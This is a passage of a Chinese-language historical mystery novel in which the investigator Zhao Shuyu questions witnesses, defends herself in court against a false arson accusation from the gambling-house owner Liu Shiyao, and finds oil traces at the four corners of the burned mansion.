“他母亲患有肺痨,一直都是用天山灵芝吊着性命……”邱老板顿了顿,“可是姑娘,肺痨这病是治不好的,纵使治,也不过就是多活几年的事情,还一定药不能停,一停,那人就铁定不成了!”
“且天山灵芝价格昂贵,一株就要四十两白银!我们都劝他别救了,可他就是不听。”
说着,邱老板还叹了口气,“他这年疯狂在外头给刘坊主做事,挣的钱全用来给他母亲治病了,他自己是一点都没留,老大不小了却连个妻都没娶……”
“这香火可怎么办……”
赵疏玉听完却是紧皱眉头,问了一句毫不相干的问题。
“病人的隐私竟然可以这么毫不顾忌地告诉我吗?”
她问完之后抬头看他,却见邱老板背对着她,倒弄着药材的手猛然一顿,随后又坦然自若地捯饬起来。
磨了半晌,他将药材磨成粉末倒进桑皮纸里,目光却仍然停留在药粉上,自顾自说道,“虎鸣……他是个苦命人啊。”
说完这句话后,他将包好的桑皮纸交给赵疏玉,道:“本店即将打烊,若无事姑娘便请离开吧。”
赵疏玉手里拿着一包药袋,低头看着包袋上用黑色毛笔写的“天山灵芝”四字,脑中不知在思索着什么,走去老远后,她才对身后的官差平静而又清晰地说出三个字。
“盯着他。”
而她则提着药材包转身回了县衙。
回到衙内时天色不再那般黑沉,在天际的另一边反倒是有些隐隐白光露起。
赵疏玉不敢再耽搁,连衣服都没脱一脚瞪上床后转眼入睡。
可她躺在床上却是翻来覆去怎么都睡不着。
案子一桩接一桩,人死了一个又一个,但案子似乎看起来是越来越扑朔迷离了。
她不知道明天会发生什么,但她的心里却有种强烈不安的预感。
这样莫名不安的念头从她的心底升起,慢慢移上昏沉的脑袋,最终脑中的思绪越来越乱,她“噌”地一下又从床上坐起。
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怕是要熬一个通宵了。
强烈不安的心绪令她无法安然入睡,她只好起身下床,打开屋门去溜达。
行至花园看看风景,清风拂面暂且抚平烦扰的思绪,刚得心中片刻宁静,却被不远处的一个小丫鬟破坏。
她走到赵疏玉身边向她缓缓行礼道,“天还未亮,姑娘是有什么心事吗?”
赵疏玉抬头望向这一片澄白,泛着天蓝的黑夜交接的黎明,她缓缓吐出一口浊气,而后摇摇头。
她低头看向池塘中央巍立的假石,看着上面一个又一个细密的大洞小洞,不禁联想到如今所得蛛丝马迹的线索。
说了一句毫不相干的话:“天气渐渐凉爽了,连杏叶也变黄了,可谓是一叶知秋。”
可多年来的警惕性却让她不禁留心反问道,“你是谁?为何来这?县衙里花园位置偏僻,你又怎会来这里?”
“奴婢春禧。”
春禧答得滴水不漏,“县令对花坛极为看重,管事的不敢有误,故而每日天不亮就吩咐奴婢们来花园看坛子看顾花草。如果有长势不好的花一定要及时处理,否则县令看到不悦,奴婢们就要挨板子。”
赵疏玉闻言却是不明所以地微微一笑,“真没看出来啊……”
他当真是神秘莫测。
她摆了摆手,吩咐道,“你先下去吧,我还要在这儿待一会儿。”
可春禧却面露为难地忸怩在原地不动,她为难道:“管事的吩咐奴婢要好好检查花圃,不能有一丝错漏。”
赵疏玉不想为难春禧,于是点点头道,“那你就去吧。”
春禧似乎还有些不高兴,但她都这么吩咐了,自己也只好拿着小锄头锄弄花草去了。
不知道是不是自己最近神经太过敏感,她怎么总觉得春禧这丫头,目光时不时偷偷摸摸地扫着她呢?
这到底是什么情况?
被害妄想症吗?
赵疏玉方才压下去的烦躁重又升上来,这次就连吹在脸上的清风似乎都裹挟着烈日的闷热,吹在她脸上时莫名让她感到烦闷不安。
她重又看了一眼春禧,只见她正兢兢业业地挥弄着手中的小锄头,一副专心致志的模样。
赵疏玉觉得一定是自己神经太敏感了。
她明明在很认真的侍弄花草。
赵疏玉熬了一整个通宵,眼下头疼欲裂,太阳穴隐隐传来针扎一般密集的疼痛,她略有些痛苦地用劲揉了揉两边的太阳穴,迫使自己冷静下来。
她再睁眼看了一眼春禧。
她依旧聚精会神于花草之上。
春禧偷偷摸摸,似行有不轨的动作一切都是她的错觉而已!
她呜咽一声,转身回屋,想去补一补觉。
可此时已天光大白,不远处传来鸡鸣之声,太阳也在一声又一声洪亮起伏的鸡鸣催促下着急奔腾至日空,耀眼的白光普照大地,一切生机似一洗黑夜萎靡,全都昂首挺起胸,沐浴着温暖的日光,祛除黑夜的冰冷。
而赵疏玉则在一片温暖之下,身体陡然霜降冰冷如坠冰窟,心底下那抹不安的情感一点一点敲击着她的心脏,蚕食着她的全身。
她的心脏莫名跳得很快,像是某种暴风雨前不安的预兆。
行走在地面的脚步也有些虚浮,一路平静无阻地走回屋,却在打开房门的那一刻,身后倏然响起一阵急忙的声音。
灾难似乎终于降临了。
她的心脏跳得极快。
身后的婢女一脸慌乱,声音拖成一条长长的直线,在诺大的院子里似乎留有回声,不断回荡在赵疏玉的耳边。
“赵姑娘,赵姑娘!不好了!刘世尧敲响堂鼓,在外头闹起来了!”
而更灾难的一句话,还在后头。
是李惟初带来的。
8. 天罗密网
“盒子不见了。”李惟初神色平静地站在赵疏玉身后,幽幽地盯着她看。
赵疏玉心中微怔,转身看向李惟初时脸色极为憔悴。
李惟初看向赵疏玉微微有些发白的脸色,不禁眸色加深,眼底闪过一丝了然的神情。
他不再言语,转头对身边的女婢吩咐道,“照顾好赵姑娘。”
而后他一挥袖袍转身欲走,走之前的脚步微微顿了一下,难得温和开口,“此事,你不必再插手。”
言毕,他不再停留。
赵疏玉的心中不禁涌上一丝奇异的感觉。
这刘世尧来得时机也太巧合了!
巧得像是算准了一样!
赵疏玉熬了一宿,头微微有些发胀,可常年高强度的工作早已练成习惯。
无论何时发生何事,她的大脑必须时刻保持清醒!
她的定力使得太阳穴上发胀酸痛的感觉渐渐消退,迅速冷静下来后,赵疏玉转头问向一旁的女婢。
“盒子是什么时候不见的?”
女婢的脸上肉眼可见地慌乱,她拨浪鼓似的疯狂摇头,越说声线越抖,“奴婢,奴婢不知道……真的不知道……奴婢就是打了个盹……那盒子就被偷了,呜呜呜……”说到后头干脆就抽噎起来。
赵疏玉又问,“盒子是你保管的?”
这婢女摇摇头,又点点头。
她却有些不耐,“说清楚。”
婢女猛然下跪,不住磕头道:“奴婢,奴婢也不知道!奴婢半夜起夜时被看管在那里的官差大哥给叫过去,他说,他说他肚子实在疼得受不住,十万火急……他说只让我在那里看一会儿,他如完厕就回来,不会有人发现的!谁知道……”
她边哭边抽抽,吓得满身的汗流浃背,深吸一口气抽噎地吐出,“谁知道官差大哥左等不来,右等也没人影,我,我也不知道怎么就睡过去了……再醒过来的时候,已经寅时了。”
她说到后面忽然大哭起来,“奴婢,奴婢当时慌慌张张推门去看,桌上的盒子,盒子就不见了!”
赵疏玉皱着眉,仔细思忖着这婢女说的话,又问道:“你叫什么名字?出了这么大的事,李惟初竟没把你抓进牢里看管起来?”
一听她说自己要被李惟初处罚入狱,立时就吓得两股战战,身躯发抖,整个人缩在地上不停地发颤。
“说话,我没时间在你这里耗着。”赵疏玉有些头痛地揉了揉太阳穴。
她瑟瑟缩缩,当真是怕极了开口。
“奴婢锦夏,县令起身便听得刘世尧在县衙外闹,还没来得及追究……求姑娘救奴婢一命!救救奴婢吧,求您,求您了……”她像是紧紧握住赵疏玉这个救命稻草。
可是……
赵疏玉和李惟初不熟,怎么帮她求情?
只是见死不救向来不是赵疏玉的宗旨,为今之计最好的办法就是亡羊补牢,将功补过。
只有立了功,功过相抵,才有可能将犯的错事一笔勾销。
想着,赵疏玉将锦夏扶起来。
可她的整个身子仍是瑟瑟发抖,整个人把头压得极低。
“你先告诉我,昨天晚上叫你替他的人是谁?”
锦夏一愣,脑中努力回想着昨夜那个官差的长相,只是一番勾勒无果。
她摇摇头,说道:“回姑娘,昨晚天很黑,奴婢没有看清……”
而赵疏玉却似乎又找到里面的漏洞,立马问道:“那么重要的东西,李惟初竟然就只让一个人守在那里吗?难不成是等着木盒被偷吗?”
她连忙摇摇头,“不不是的,那里守着许多官差大人,只是,只是……”
“只是什么?”赵疏玉不解,迫切地看着她有些难言,心中不免有些着急。
时间一点一点地流逝,李惟初上堂之后久久未传有消息不说,他竟让她就此不要再管此事。
不让她管?
怎么可能!
她亲眼看见那么多的人死于刘世尧的魔爪之下,怎么可能就此善罢甘休?!
难道是觉得自己能力不足,只是一个拖他后腿的拖油瓶吗?
气恼交加,便越发勾起她该死的胜负欲。
她要查。
她要查个水落石出!
她才不要让李惟初看不起自己!
“那里的官差都和奴婢一样!都昏睡着了!”说起此事,锦夏心中便咚咚作响。
她也觉得十分奇怪,只是那个时候她身边睡了一地的官差,她哪里敢说敢问什么!
她连是动都不敢动一下!
“你觉得很不对是不是?”赵疏玉本焦急的神色此时极为平静。
她道,“你也觉得这不是你正常犯困,对不对?”
锦夏原本生疑的内心此时越发明晰。
而后她重重点了一下头,“是。”
赵疏玉左右思索了一下,她还是打算先从昨晚守在屋外的官差开始查起。
但她又怕锦夏会有什么危险,她目光缓缓转向锦夏满是泪痕,哭花的脸上。
虽非世间美人落泪,却也叫人看得心中微痛,跟只穷途末路可怜的小花猫一样惹人怜惜。
她伸手抹去锦夏脸上挂着的泪珠时语气平缓道:“跟着我。”
锦夏有些怔愣地抬起头,撞进赵疏玉平静寡欲的双眸中。
那眸中看似无欲无求,眸底却很执拗地燃烧着一团热烈的火苗,熊熊不息。
而赵疏玉的话看似随意,但却莫名很坚定,很令人心安。
锦夏的目光牢牢被赵疏玉身上赋予那她极具安全感的气质所吸引,目光紧紧盯着她看。
赵疏玉脑中却在为昨晚官差昏睡一事而思考,脑中转得飞快。
她手拿着李惟初的令牌,一路奔到衙役坊。
而锦夏紧紧跟在她身后,不离开她半步。
她走到衙役坊,对着他们亮出李惟初的令牌,问道:“昨日何人看管木盒?”
衙役们一片宁静,在她问出这话之后,更是一片死寂。
看上去人人自危,惶惶不安。
赵疏玉正疑惑发生何事时,衙役中忽然走出一名男子。
他身上的红衣颜色似乎更深一点,腰佩带也不似他们只用普通的黑带作系。
他的腰带上镶嵌着两三颗宝珠,彰显着他在衙役中不平凡的地位。
她微微蹙眉。
她记得这个人。
他就是那日在她被李惟初误认为是杀沈怀夕的凶手时,李惟初掀开帷裳吩咐他去搜山的人,也是那天赵疏玉从狱中恐吓完那几个药玉坊的人后,出来时看见他附在李惟初耳边低语,不知在说什么的人。
若她记得没错,李惟初曾叫他……
“维寻。”赵疏玉缓缓开口。
维寻看了一眼她手中的令牌,神色恭敬地单膝下地,单手握拳朝她行礼道:“回赵姑娘的话,昨日那几个看守的人因犯看护不利之罪,被县令惩处,现下已经……”
“死了。”他面不改色地说道。
赵疏玉早知道李惟初就是这样杀伐果断的人,也没有太惊讶,接着维寻的话继续问道:“尸体呢?”
维寻站起身,恭敬地对赵疏玉说道:“赵姑娘请跟属下来。”
赵疏玉跟着维寻朝后头走了不久,便看见后院的一片空地上,口鼻出血,被乱棍打死的七人用草席潦草包裹着,甚至连个担架都没有。
赵疏玉对着这七具尸体微一抬手,维寻立马意会,将地上被草席裹成球的七人转开,让他们四仰八叉,平躺在草席上。
赵疏玉看着这几个死不瞑目,脸上僵在神情异常痛苦的七人,不禁回头看了眼锦夏。
锦夏却从来没见过这么多死人,吓得紧紧捂住自己的嘴巴,不敢叫出来惹赵疏玉心烦,却也不敢看,牢牢躲在赵疏玉的身
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后。
赵疏玉语气微微放柔,对着身后的锦夏道:“你去看看,这七个人里面有没有你认识的。”
锦夏死死闭着眼睛,整个身子不住地发抖。
死人……
好多死人!!
她紧攥着赵疏玉的衣袖,一点一点睁开眼睛。
可在看到他们一个个被打得七窍流血,衣服上血迹连着衣裤,血液渐渐凝固,却还没有完全冷凝,有几滴血像是屋檐上的冰锥,紧紧黏在裤腿口。
锦夏又不禁打了个寒颤。
却在此时听见赵疏玉轻柔安抚的声音落在锦夏的耳边,很低很低,却给人一种莫名奇怪的安全感。
“别怕,我陪你去看看。”
在赵疏玉一声声的鼓励下,锦夏一点点挪动脚下的步子,跟随赵疏玉在这七个尸体上辨认了一下。
锦夏全程半眯着眼睛半看了一圈地上的七具尸体后,心中陡然一沉。
她呼吸微微一窒,摇摇头,抱歉道:“对不起姑娘,这七具尸体里都没有那个人。”
维寻闻言,站在一旁不动声色地皱起眉,试探性开口问道:“姑娘这是要找谁?”
“锦夏。”她拉了一把锦夏,却见锦夏似乎很害怕维寻,在见到他的一瞬间,锦夏双膝发抖,连话都讲不全,一个劲往赵疏玉背后缩。
维寻见状,神色未变,却是将目光在锦夏的身上游移几秒落定后,又看向赵疏玉。
他敛下眸中神色,恭敬地对赵疏玉道,“还请姑娘恕属下多嘴,莫要怪罪属下。”
赵疏玉抬了抬手,她道,“我知道。”
“只是这件事恐怕并不是那么简单。”赵疏玉眸中神色逐渐加深,罕见地沉下声音,对着这诺大的院子中的两个活人道,“县衙里有奸细。”
维寻闻言,脸上的神色也同样是一变,却未显山露水,只问道,“姑娘为何如此猜测?”
赵疏玉将昨晚锦夏的事说给维寻听,他听后却是眉间紧拧。
目光扫过锦夏时,她又不禁一抖,紧紧攥着赵疏玉的袖袍,那架势好像在哭唧唧地说‘呜!姑娘救命!’
“县令早就发觉县丞是那边派来的细作,且衙中明明已经过一次换血,却还能让他们混进奸细来!”
维寻恨恨地咬了咬后槽牙,他拱手对赵疏玉道,“属下自当拼尽全力为姑娘效力。”
“我……”赵疏玉刚刚开口,就被一个匆匆禀报的声音给打断。
“维寻大人!不好了,不好了!那刘世尧在堂上一口咬死说就是赵姑娘纵火烧了他满宅二十八个人,还带了人证来!县令正在找大人,大人……赵姑娘?”
那人急匆匆跑过来,话音未落,只见赵疏玉神色凝重地站在七个尸体前,不禁疑惑。
维寻的神色也颇为凝重,他沉声道:“我即刻就……”
“维寻。”
赵疏玉缓缓吐出一口气。
刘世尧织了个天罗地网将她围困其中,目的,便是要杀了她,不让自己有半分喘息之机!
他还真是不显山不露水,一出手招招致死,无懈可击!
这么精密的织网,李惟初又怎该怎么将她摘干净,让她全身而退呢?
怕是有心而无力了!
自从她步入赌坊的那一刻起,她从此与李惟初就再也分不开了。
他们二人从此牢牢地绑在一起,共进共退,共生共死。
维寻回头,神色却略有些急切。
赵疏玉却平静地看着他,脑中瞬间有了思路,她道:“维寻,帮我做件事。”
“这件事,关乎我的性命……”
维寻并未有过多神色。
却听赵疏玉语气缓缓却十分不容抗拒,“亦关乎李县令的仕途,做不做,全在你。”
他的神色瞬间严肃起来,而后缓缓跪地,听她吩咐安排。
“但请姑娘吩咐。”
9. 漏洞百出
“李县令,您办案一向公正严明,江南乡亲无不称赞!”刘世尧跪在地上,可言辞中却步步紧逼。
“前几日那赵姑娘坏我赌坊生意,贱民见她是女子,不予计较,谁曾想她竟还不知收敛!竟一把火活活烧死贱民宅中二十八人!”他说得声泪俱下,惊天动地,仿佛痛心疾首,不停捶打着胸口。
“贱民真是不知如何得罪了姑娘,要遭受如此灭顶之灾啊!”刘世尧边说着,边偷瞄上头一脸阴沉,默默不语的李惟初。
又道,“草民于此哭诉衷肠,却连那杀人凶手的影都没看见!”他眸光一凛,“难不成是县令有意包庇赵姑娘……”
“啪”的一声,李惟初手执惊堂木重重拍在桌上,脸色黑得几乎能滴出墨来,他冷冷地看着堂下之人,“你若再多言,本官便治你污蔑之罪。”
“县令!”刘世尧从地上站起,饶有礼仪地先是向他作揖,而后再道,“县令若说并无私心,那为何迟迟不见杀人凶手的影子?凶手藏匿于县衙,如此有恃无恐,莫非她身后仗的是您李县令的势吗!”
“若不然贱民与赵姑娘素未谋面,更无恩怨,她为何要接二连三来害贱民?”
听他说得有鼻子有眼,门后争相探头聆听的百姓也不禁附议点头,对着县衙指指点点。
李惟初看着他牙尖嘴利,不断发问紧紧相逼,他不禁冷笑一声,沉声道:“那你说,本官为何要害你?污蔑本官,以下犯上,依律罚三百白银,入狱两年……刘世尧,你要仔细轻重。”
他危险地眯了眯眼睛,看向刘世尧丝毫未惧的面孔。
刘世尧与他较劲耗费了不止一炷香的时辰,见李惟初迟迟不愿放人出来,他自是又气又急,却又不知想到了什么,他转而眉头一挑,嘴唇勾起一抹狡诈的弧度,道,“县令若执意维护杀人凶手,迟迟不肯叫她与贱民对峙,那贱民只好携人证赴往青州,一纸诉状递交州牧,请州牧做主了!”
李惟初手中紧紧攥着惊堂木,眸中划过一丝森寒,面色也在这一番话后一点点阴沉下去。
而刘世尧则一副势在必得的模样,得意地和他对视。
朝廷之中本就有人看不惯李惟初,若让这件事捅上州牧,被有心之人再参上一本,那他的仕途也算是完了!
一直在门口听二人对话的赵疏玉,在听完刘世尧这句十分威胁的话语之后,袖下之拳紧紧握起。
这人倒是句句紧逼,还想把李惟初一起拉下水!
“既如此,那贱民也不再耽误县令时间了!”
见李惟初仍是不为所动,刘世尧的耐心也已到极限,他对身后的人证招呼一声,二人转身就要踏出衙门。
“等等。”
赵疏玉从门后走出,她一抬头便撞进李惟初似乎有些愠怒,也有些意外的目光,正灼灼地看着她,似乎那眸中还带有些质问。
‘你为什么要来这里。’
赵疏玉在刘世尧略微惊艳,却又充满算计的那道不善的目光中走了进来,她站在堂前,定定地抬头看向李惟初。
而李惟初端坐堂上,也略略低头,迎向她不惧坚定的眼神。
她转身看向已经转回身的刘世尧,开门见山道:“刘坊主说我,烧了你的宅子,可有什么证据?”
刘世尧眯了眯眼睛,他指向跟在自己身后细瘦的男童,看起来只有只有十二三岁的样子,道:“这便是我的人证。”
“呵呵。”赵疏玉忽地笑了出声,这笑容倒是让在场的两人都看呆了。
李惟初则是从来没见赵疏玉这么放怀笑过,而刘世尧……
他的目光从不耐烦逐渐变成极为侵略性的贪婪。
“人证物证俱在,都不一定能还原事实,更何况还只有一个人证,能算什么数?”赵疏玉忽然敛了笑意,伸手一指刘世尧身后的男童,朱唇微启,“你多大了?”
这样不容任何人拒绝的压迫感,使身后没见过世面的男童吓得立马跪了下来,答道,“草民,草民今年十三岁。”
赵疏玉再问,“事发当晚,就只有你一个人看到了吗?你的父母呢?你是怎么看到的?火光爆发时差不多是丑时,这么晚不睡觉,又在做什么?”
一连串问题问下来,男童颤颤巍巍地抬头看了一下刘世尧的神色,可在看到刘世尧的表情之后,他猛地低头答道,“回,回姑娘……”
这时刘世尧打断她,讽刺道:“你一个女子问这么多做什么?难道问了就能洗清你火烧大宅,使二十八人葬身火场的事实吗?”
“不问问怎么知道你们嘴里说的是真话还是假话?人心叵测啊……”赵疏玉眸深似海,似笑非笑地看了一眼刘世尧,又将目光看向地上的那人。
“县令面前,抬起头回话。”赵疏玉命令道。
他小心翼翼地抬起头。
“回答我的问题。”赵疏玉的目光中投射出一道寒芒,刺得那男童连忙开口作答。
“那天夜晚,我我实在是想如厕,所以……”
“又是这种借口。”赵疏玉的唇边勾起一抹不明意义的微笑,“你继续说。”
“当时……晚上太黑,我起来如厕的时候就看见赵姑娘似乎在宅子外面东南角的方向放火,我,我只是恰好看到了,姑娘,姑娘您还是赶紧承认吧!不要再执迷不返了!”
赵疏玉的眸光平静,在听到他的这番话后,敏锐地找出里面的漏洞,再问,“既知夜晚太黑,又怎么看清那纵火之人就是我呢?如若真是我,当晚李县令也在,你为何不直接向他报案,偏偏要等到今天让刘坊主带你来呢?”
“难道刘坊主这么值得你信任,竟连县令也比不上吗?”赵疏玉顿了顿,“既如此,你话中的可信度,可是真是……几乎为零啊。”
这一番话后,这男童似乎也乱了阵脚,他慌忙道:“不,不是的!我是亲眼看到你跑回县衙的!”
“你怎么知道那个人就是我?还有,你一个十三岁的孩子竟这么胆大,竟敢跟在杀人犯的后面?不怕被发现杀你灭口吗!”
“我看到了!我就是看到了!就是你,就是你纵火行凶害死了婉姐姐!”那男童仍执拗说道,“你是杀人犯,杀人犯!”
赵疏玉立马转身对李惟初道,“你也看到了,他们的话如何能信?这就是恶意攀诬,恶意往我身上泼脏水,他们想将这二十八条人命全都扣在我头上,意图害死我。”
那男童却突然冲上前,他的力气很大,一下就将赵疏玉撞翻在
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地,不曾想他们在堂上就敢肆意妄为,赵疏玉疏于防范,头不小心磕在一旁的柱子上,立时被撞得头破血流。
男童疯狂撕扯着赵疏玉,李惟初响亮亮拍了好几次惊堂木也无用,一旁的官差得令立刻上前将二人拉扯开,而男童却死死拽住她的头发不放开她,赵疏玉紧紧握着拳头,一掌横在他脖后重重将他劈晕。
场面一度混乱,赵疏玉脑中一转,立马转身指向刘世尧质问道:“你们这是恶意攀诬不成,恼羞成怒想杀人灭口吗?”
刘世尧似乎也懵了,他也不明白这男童怎么就突然发疯伤人。
他皱了皱眉,对赵疏玉道:“姑娘请慎言。堂上行凶是要判刑的,我从未指使他做任何事情,一切都是这男童自作主张,与我没有半分干系。”
赵疏玉的目光却冷冽地看着他,道:“他是你带来的,没有你的施令他怎么敢?他才是个十三岁小孩子,他懂什么?”
“你!”刘世尧狠狠地指着她,面色跟吃了屎一样难看。
而堂上的内容也从一开始的二十八人葬身火海案变成了一场男童堂上行凶的闹剧。
李惟初在此时适时拍响惊堂木,结束这场闹剧。
“此人包藏祸心当堂行凶,依律当判三年刑期,不可取保释放,但因其为纵火一案目击证人,即日压入大牢听候发落。纵火一案证据不足,赵疏玉暂定无罪释放,此案疑点重重,容后再议。”
他站起身对刘世尧道:“刘坊主,此案本官必会还你一个公道,也必不使一人含冤。退堂。”
言罢,他大袖一挥,霸气离去。
而堂中刘世尧显然没能达成今日目的,心有不甘,他恨恨地走到赵疏玉身前,看着她清丽悦目的容颜,色胆升起,他伸出手想去摸赵疏玉的脸。
却被赵疏玉一把抓住手腕,狠狠往后一折,刘世尧尖叫连连,弯着腰怒骂道,“你个贱娘们!看老子不把你弄回去好好……啊啊啊!——”
“你的嘴真的很脏。”赵疏玉一把将他甩到地上,狠狠踹了一脚,直接把他踹飞门外,她缓缓走到门口,居高临下地看着在地上捂着肚子痛苦嚎叫的刘世尧,恨不得再狠狠踩上几脚。
但她的唇边却忽然勾起一抹异样的微笑,从袖口里翻出一张折叠得整整齐齐的纸张。
她缓缓走到他面前,弯下腰,两根手指里夹着的纸张竖在他面前,“你说,我要是把这里面的东西交给李县令,让他知道你这些年的犯罪记录,你是会被判刑,还是砍头呢?”
刘世尧在看到她手里拿着的纸张之后,瞬间瞪大了眼睛,一脸不可置信地看着她,他摇摇头,嘴中小声呢喃道,“不可能……这不可能!”
“你怎么会有!?”
他圆睁着眸,突然伸手去抢赵疏玉手里的东西,她双指一曲,在他碰到之前收回手心。
赵疏玉站起身,从容不迫地淡定转身,淡淡对他道:“刘坊主,你好自为之吧。”
说罢,她向前走去,只留下一阵清风。
绝对,绝对不能让任何人看到里面的内容!
所有知道这个秘密的人,都该死!
清风徐去,而刘世尧紧紧盯着赵疏玉远去的背影,面容狰狞万分。
10. 奸细藏匿
正往前走着,路过拐角处,赵疏玉忽被一个身着绛紫色云袍的男人堵住。
他缓缓从拐角处走出,步步逼近赵疏玉,眼神极具侵略性地盯着她。
赵疏玉连忙将掌心的纸条收紧,却还是被李惟初抢先一步,他攥住赵疏玉背在身后的手腕,将她手心的东西一点一点掰出来。
她倒是淡定自若地站在那里,眼生生看着李惟初的脸色一点一点变得有些扭曲。
他气恼一般将纸重新扔进赵疏玉的怀中,转身欲走。
却被赵疏玉先一步拦在身前,她张开双臂,“等等。”
“为什么要进来?”
“什么?”赵疏玉被他这一番无厘头的话给弄得莫名其妙。
“我不是让你不要再插手这件事吗?”
她双手环胸,目光随意但眸底却一片清明,她朱唇微启,问道:“那依你的看法,如果我今天不来堂上,你又如何处理此事?”
李惟初眸光微闪,却不说话。
“等着他带着一个莫须有的人证去州牧那儿参你一本吗?”
李惟初开口道:“你以为我会怕?”
赵疏玉眯着眸盯了他半晌,才道:“你当然不会怕。”
脑海中不断浮现出那天李惟初领着自己去的那座大宅子,宅中与他对话的那个神秘女子。
“那你为什么要来?”
“我为什么不能来?”
二人视线相撞,眼神交汇之处电火石光,谁也不肯退让半分。
半晌,李惟初别过脸不再看她,撩起袖袍大步离去。
“你以为我还能摘得干净吗!?”
赵疏玉转身向李惟初离开的背影看去,她快步走到李惟初身边,一把拽住他的袖袍,一个字,一个字地看着他问道:“你以为我还能全身而退吗?”
“那你想怎么办?”李惟初将她握着那张纸条的手举过头顶,眸光闪烁看不真切,可罕见的从他眸中浮现出一丝怒意,“就凭你这张什么都没有的纸条?赵疏玉,你到底想做什么?”
她却一把挣脱李惟初紧攥着自己的手,眼中闪过一丝嘲讽,问道:“是你亲手把我拉进你的局中,不是吗?”
“你早就知道沈怀夕自缢一案的凶手不是我,对吗?但你,李县令,权势滔天,你说我杀了人,那我就是杀人犯,对吗?”
“你要我帮你钓出刘世尧……不,不止是刘世尧,或许还有更多。”赵疏玉唇边露出一抹笑意,她看向李惟初道,“那你,你又在筹谋什么?”
李惟初眸底微动,似乎仅溅起一点波浪的涟漪,顷刻见便不见踪影。
他缓缓吐出四个字,“你很聪明。”
“多谢夸奖。”
他又道:“我送你离开这里。”
此话便如雷霆给赵疏玉当头一击,把她劈得找不着东南西北。
她不禁有些迷茫地问道:“李惟初,你知道你在说什么吗?”
李惟初却微垂眼帘,最终像是下定决心般,“我送你出江南,蓟州州牧裴长清乃我至交,你携令牌去找他,他必会庇护你。”
“此生不必再回江南。”
听得他这番打算,赵疏玉气不打一处来,鲜少发怒的她如今恨不得一脚把他踹翻在地。
她怒道:“在你李惟初眼里我就是个彻头彻尾的懦夫,是吗?!”
见李惟初仍沉默不语,她更是气恼,“你想让我临阵脱逃,做逃兵?让你一个人来摆平这一切?李惟初,你……”
她平生没骂过人,饶是脸憋得通红,也不过骂了一句,“你是不是有病!?”
李惟初近前紧紧攥住她的手腕,嘴唇紧抿一条直线,沉声道,“辱骂朝廷命官,依律判刑期半……”
“别跟我扯犊子!”
赵疏玉直接不给他半分说下去的机会,“李惟初你应该知道,刘世尧不会放过我的。”
“虎鸣,那二十八条活活烧死的人命,安陵,沈怀夕,还有药玉坊那些禽兽不如的狗东西。我若不还那些含冤而死之人真相,那我赵疏玉活着,跟死了又有什么分别?”
在李惟初震惊的眼神下,赵疏玉甩开他的手,看着他道:“你是县令,身上背负着一县百姓的责任,我明白你为官不易,许多事没办法亲力亲为,也没办法深查……”
她呼了一口气,缓缓道,“可我不一样。”
她的声线略微颤抖,“我从小没爹没妈,像孤魂野鬼一样游荡着,不过是贱命一条而已,我什么都不怕。”
“我连命都是偷来的!我压根就对我狗屎一样的人生没有一丝期待!”
她顿了顿,忽然很悲哀地垂下眸,嘴边扯起惨淡一笑,“我不怕没有未来,也从没幻想过以后……我只想在现在,随心而活。”
她的眸光缓缓抬起,里头是亮闪闪的坚定与决心,如火如炬,耀眼夺目。
“我一定要还他们一个真相。一个彻彻底底,没有任何修饰的真相!”
她深深呼了一口气,将那张空白的纸张牢牢攥在手里,发狠泄气般撞开李惟初的肩径直离开。
而李惟初则在原地怔怔许久,直到维寻一个飞身单跪在他身边禀报道:“主上,赵姑娘让属下做的事,属下都做好了……”
他才缓缓回过神来。
赵疏玉让维寻做的也不是什么大事,就只是让他再派些人手去护卫那处早已被偷了木盒的院子。
并让他放出风声:赵疏玉又找到了新的关于刘世尧的罪证,现下正等下次开堂时拿出罪证,送刘世尧去吃断头饭。
李惟初望着赵疏玉坚定远去的背影,眸光不断加深,心中的疑惑也越来越深。
这个吃了熊心豹子胆的小女娘,究竟要做出什么惊天地泣鬼神的事情来!
李惟初看着她最终消失的背影,淡淡嗯了一声,问道:“县丞之事那边怎么说?”
维寻答道:“主上,一切妥当,殿下已帮我们解决了。”
他点点头,不再言语。
“姑姑娘,这太危险了,你会不会……”锦夏心惊胆战地听完她说的计划,不禁害怕道。
赵疏玉摇了摇头,道:“被杖毙的七人里都没有那日的人,只有说明他一定是使了什么手段避开了。”
她缓缓道:“所以我晚上准备一探究竟,锦夏,你就替我呆在这屋子里,一步也不要走,装作我在睡觉的假象,好不好?”
锦夏脸色吓得惨白,她手中握着赵疏玉递给她的信封,信封里装着刘世尧的“罪证”。
“这个信封里的东西很重要,除了你,我不放心交给任何人守着。”
“也答应我,不要打开信封去看里面的内容,好吗?”
她指尖颤颤地捏着这个信封,还是点头应下了。
“好,好的姑娘,我一定会做好的。”
赵疏玉的眸中却无太多色彩,只是轻轻点了一下头。
她往外头看了一下天色,日头正好,刚准备出门就见凉丝不知从何处飞来,他稳稳落在赵疏玉身前,禀报道:“姑娘,属下已找到虎鸣的娘,就在西胡同深巷第四家。”
她转身从桌上将药给凉丝,道:“你先将这个药给她,喝完了我再去给她买……我现在要去趟纵火现场腾不出时间。”
她简单垂眸思考了一下,道:“我明日再去看她吧。”
赵疏玉将药亲手递给凉丝的时候,附在他耳旁低语道:“多谢你,凉丝。”
凉丝一愣,他立刻接道:“属下是县令指给姑娘,为姑娘办事的,姑娘让凉丝做什么,凉丝心甘情愿,姑娘不必言谢。”
说罢,他手中吊着药,一骨碌转身又不见踪迹了。
赵疏玉没再停留,一人独去那纵火现场。
这几日艳阳高照,空气干燥,那晚火灾之后湿漉的水汽早已蒸腾,那因火灾而变得奇形怪状的尸体也早已被李惟初拉走验尸处理。
诺大一片宅子,早是断壁残垣,西风残照。
大门被火烧的歪歪斜斜,而直道两旁的花坛中,鲜花嫩草被火烤得一片焦黑,赵疏玉走过直道来到正堂,正堂里的柱子也七横八落地倒在地面上。
一场大火之中将罪恶与痕迹一同埋葬。
赵疏玉将这宅子里的每个房间都走过一遍,仔仔细细地搜寻着线索,连床底也没放过,一无所获。
书房里的书早已烧为灰烬,连一片书页也没留下。
什么线索都没有。
赵疏玉正要空手而归,脑中却忽然闪过那男童说过的话
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。
东南角。
她立马动身往大宅的东南角走去。
如果他说的是真话,那么东南角就是起火点,那里的灼烧痕迹一定是最大的,那么……
赵疏玉往东南角一看,那里的墙被烧得黢黑无比,连墙面都往里面塌下去一点,俨然程度要大于府中那些地方。
她伸手摸了摸墙面,目光又忽然被另一处吸引。
东北角也有被泼油的痕迹。
她略略皱眉深思,立刻将四个角都转了一眼。
果然如她心中所想!
四个角都被泼了油!
